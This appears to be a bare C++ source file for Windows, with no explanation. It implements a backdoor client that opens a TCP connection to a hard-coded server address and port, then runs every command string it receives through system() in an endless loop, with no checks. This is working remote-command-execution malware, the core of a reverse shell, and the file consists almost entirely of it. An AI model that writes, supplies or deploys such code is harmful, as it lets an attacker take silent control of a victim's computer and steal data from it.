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#include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #include <iostream> #include <string> #pragma comment(lib, "ws2_32.lib") #define PORT 8080 #define SERVER_IP "127.0.0.1" void ExecuteCommand(const std::string& command) { system(command.c_str()); } int main() { WSADATA wsaData; SOCKET Connect; struct sockaddr_in server; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { std::cerr << "WSAStartup failed." << std::endl; return 1; } Connect = socket(AF_INET, SOCK_STREAM, 0); if (Connect == INVALID_SOCKET) { std::cerr << "Socket creation failed." << std::endl; WSACleanup(); return 1; } server.sin_addr.s_addr = inet_addr(SERVER_IP); server.sin_family = AF_INET; server.sin_port = htons(PORT); if (connect(Connect, (struct sockaddr*)&server, sizeof(server)) < 0) { std::cerr << "Connection failed." << std::endl; closesocket(Connect); WSACleanup(); return 1; } char buffer[1024] = {0}; while (true) { int bytesReceived = recv(Connect, buffer, 1024, 0); if (bytesReceived > 0) { std::string command(buffer, bytesReceived); ExecuteCommand(command); } } closesocket(Connect); WSACleanup(); return 0; }
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